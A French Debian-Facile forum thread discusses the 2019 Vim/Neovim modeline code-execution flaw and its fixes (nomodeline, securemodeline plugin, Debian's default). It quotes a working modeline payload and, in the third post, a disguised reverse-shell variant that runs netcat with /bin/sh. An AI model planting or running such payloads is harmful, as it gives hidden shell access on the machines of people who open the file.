Debian-facile

Bienvenue sur Debian-Facile, site d'aide pour les nouveaux utilisateurs de Debian.

Vous n'êtes pas identifié(e).

#1 05-06-2019 21:48:22

Nsyo
Invité

Vim/Neovim vulnérabilité : Exécution de code arbitraire via Modeline

Salut les vimistes et les autres !

Une vulnérabilité découverte dans Vim, plutôt importante.


Modeline est une option qui permet, à l'aide d'un petit commentaire au début d'un fichier, d'appliquer quelques options seulement pour le fichier en question.
Par exemple :

/* vim: set tabstop=8: */


qui permet de changer l'indentation.


Découverte du jour : il est possible d’exécuter des commandes !

Au début d'un fichier fichier.txt :

:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="


Ici, ça exécute la commande `uname -a` mais on peut faire des choses moins sympas. Le lien Github donne l'exemple d'un reverse shell.


Pour désactiver Modeline, ajouter au .vimrc :

set nomodeline




Sources :
https://github.com/numirias/security/bl … -neovim.md
https://bugs.debian.org/cgi-bin/bugrepo … bug=930020

Dernière modification par Nsyo (05-06-2019 21:58:54)

#2 06-06-2019 18:24:00

enicar
Membre
Lieu : ailleurs
Distrib. : sid
Noyau : 5.8.7
(G)UI : openbox
Inscription : 26-08-2010

Re : Vim/Neovim vulnérabilité : Exécution de code arbitraire via Modeline

Bonjour,

J'ai testé le second exemple du site https://github.com/numirias/security/bl … -neovim.md. (c'est à dire, celui qui permet d'avoir un shell distant).
Il ne fonctionne pas chez moi. Je suis déçu.
Bref, j'ai installé le plugin securemodeline. Ça semble fonctionner.

Je dois dire que je suis guère étonné, vim est tellement sophistiqué qu'il est forcément
fragile sur certains aspects. Remarquez, en ce moment j'utilise spacemacs qui
est basé sur emacs, il n'utilise pas les modeline de vim.
Pour les curieux la documentation introductive de spacemacs est ici.

Hors ligne

#3 06-06-2019 21:41:38

Nsyo
Invité

Re : Vim/Neovim vulnérabilité : Exécution de code arbitraire via Modeline

En suivant le lien "shell.txt", il y a la même commande mais avec des séquences échappement différentes :

[?7lSNothing here.:silent! w | call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: [1G[KNothing here."[D


Comme ça, ça marche wink

On peut même plus faire confiance à un bête fichier texte... roll


J'ai vu qu'il y a un gros engouement autour des "kits de démarrage" pour Emacs. Qu'est-ce qui t'a fait quitter Vim pour Emacs ?

#4 06-06-2019 22:15:21

Philou92
Adhérent(e)
Lieu : Hauts de Seine
Distrib. : Debian bullseye (testing)
Noyau : Linux 5.6.0-1-amd64
(G)UI : LightDM et Xfce4
Inscription : 29-04-2015

Re : Vim/Neovim vulnérabilité : Exécution de code arbitraire via Modeline

Le bug vient-il de vim ou du manque d’étanchéité du bac-à-sable (sandboxe)?

Parce-que la doc vim a toujours clairement été explicite sur les risques de l'usage des modelines.

help vim chap 21.6 a écrit :


The 'modeline' option can be used to switch this off. Do this when you are working as root on Unix or Administrator on MS-Windows, or when you don't trust the files you are editing:
:set nomodeline


Chaque siècle fera son œuvre, aujourd’hui civique, demain humaine. Aujourd’hui la question du droit, demain la question du salaire. Salaire et droit, au fond c’est le même mot. L’homme ne vit pas pour n’être point payé ; Dieu en donnant la vie contracte une dette ; le droit, c’est le salaire inné ; le salaire, c’est le droit acquis.
             Quatrevingt-treize
             Victor Hugo.

Hors ligne

#5 07-06-2019 10:56:59

Nsyo
Invité

Re : Vim/Neovim vulnérabilité : Exécution de code arbitraire via Modeline

De Vim j'ai l'impression. Il me semble qu'il n'est pas possible de lancer nativement des commandes externes avec Modeline, pour éviter ce genre de problème justement. Il fallait passer par des plugins par exemple.


Le lien Github indique :

For security reasons, only a subset of options is permitted in modelines, and if the option value contains an expression, it is executed in a sandbox: [1]


Le petit lien à la fin pointe sur la doc :

Vim doc a écrit :

No other commands than "set" are supported, for security reasons (somebody
might create a Trojan horse text file with modelines).  And not all options
can be set.  For some options a flag is set, so that when it's used the
|sandbox| is effective.  Still, there is always a small risk that a modeline
causes trouble.  E.g., when some joker sets 'textwidth' to 5 all your lines
are wrapped unexpectedly.  So disable modelines before editing untrusted text.
The mail ftplugin does this, for example.

#6 08-06-2019 12:45:14

enicar
Membre
Lieu : ailleurs
Distrib. : sid
Noyau : 5.8.7
(G)UI : openbox
Inscription : 26-08-2010

Re : Vim/Neovim vulnérabilité : Exécution de code arbitraire via Modeline

Nsyo a écrit :

J'ai vu qu'il y a un gros engouement autour des "kits de démarrage" pour Emacs. Qu'est-ce qui t'a fait quitter Vim pour Emacs ?



J'ai juste voulu essayer spacemacs car le descriptif avait piqué ma curiosité.
Il faut aussi que je précise plusieurs choses.
D'abord je n'ai pas quitté vim que j'utilise toujours quand je suis root.
C'est bien plus pratique pour l'administration du système car ça démarre bien
plus vite. Ensuite, emacs est le premier éditeur que j'ai abondamment utilisé
lorsque j'ai débuté sous linux. D'un autre côté vi est le premier éditeur de texte
que j'ai utilisé, mais ça c'était avant que linux existe. Bref, on peut dire que j'oscille entre
les deux. Chacun a des choses que je préfère. L'idéal serait donc d'avoir un mixe des deux.
C'est un peu ce que fait spacemacs. C'est vraiment un projet intéressant.
Évidemment, pour quelqu'un qui ne connaît que vim, le passage ne sera pas aisé.
Pour moi, ça s'est fait assez facilement puisque je connaissais déjà les deux.

Dernière modification par enicar (09-06-2019 00:57:59)

Hors ligne

#7 08-06-2019 13:18:52

enicar
Membre
Lieu : ailleurs
Distrib. : sid
Noyau : 5.8.7
(G)UI : openbox
Inscription : 26-08-2010

Re : Vim/Neovim vulnérabilité : Exécution de code arbitraire via Modeline

Nsyo a écrit :

En suivant le lien "shell.txt", il y a la même commande mais avec des séquences échappement différentes :


Celui-là ne fonctionne pas chez moi, j'utilise vim-gtk3 8.1.0875-3 (dans debian/sid),
D'un certain côté tant mieux. J'ai bien testé sans le securemodeline.

J'ai rajouté aussi securemodeline pour l'utilisateur root, vu que c'est souvent en  root que j'utilise vim.

Remarque dans le fichier /usr/share/vim/vim81/debian.vim qui est chargé au lancement.
On a :


" modelines have historically been a source of security/resource                

" vulnerabilities -- disable by default, even when 'nocompatible' is set        

set nomodeline
 


De cette façon ça ne peut pas fonctionner. Mais je le réactive dans le fichier
/etc/vim/vimrc.local… Donc quand je supprime le plugin securemodeline,
le shell.txt devrait fonctionner.  Mais ce n'est pas le cas…

Hors ligne

#8 08-06-2019 13:21:41

enicar
Membre
Lieu : ailleurs
Distrib. : sid
Noyau : 5.8.7
(G)UI : openbox
Inscription : 26-08-2010

Re : Vim/Neovim vulnérabilité : Exécution de code arbitraire via Modeline

Philou92 a écrit :

Le bug vient-il de vim ou du manque d’étanchéité du bac-à-sable (sandboxe)?



Pour moi la question n'a pas de sens, car le bac à sable dont il est question est celui qui est
mis en place dans vim pour exécuter les modeline. Donc le problème vient de vim, quoiqu'il
en soit.

Hors ligne

#9 08-06-2019 23:01:12

Philou92
Adhérent(e)
Lieu : Hauts de Seine
Distrib. : Debian bullseye (testing)
Noyau : Linux 5.6.0-1-amd64
(G)UI : LightDM et Xfce4
Inscription : 29-04-2015

Re : Vim/Neovim vulnérabilité : Exécution de code arbitraire via Modeline

Ok, je comprends mieux.

Apparemment ce problème a déjà été rencontré dans le passé avec la version 7 de vim: https://securitytracker.com/id/1018035

Chaque siècle fera son œuvre, aujourd’hui civique, demain humaine. Aujourd’hui la question du droit, demain la question du salaire. Salaire et droit, au fond c’est le même mot. L’homme ne vit pas pour n’être point payé ; Dieu en donnant la vie contracte une dette ; le droit, c’est le salaire inné ; le salaire, c’est le droit acquis.
             Quatrevingt-treize
             Victor Hugo.

Hors ligne

Pied de page des forums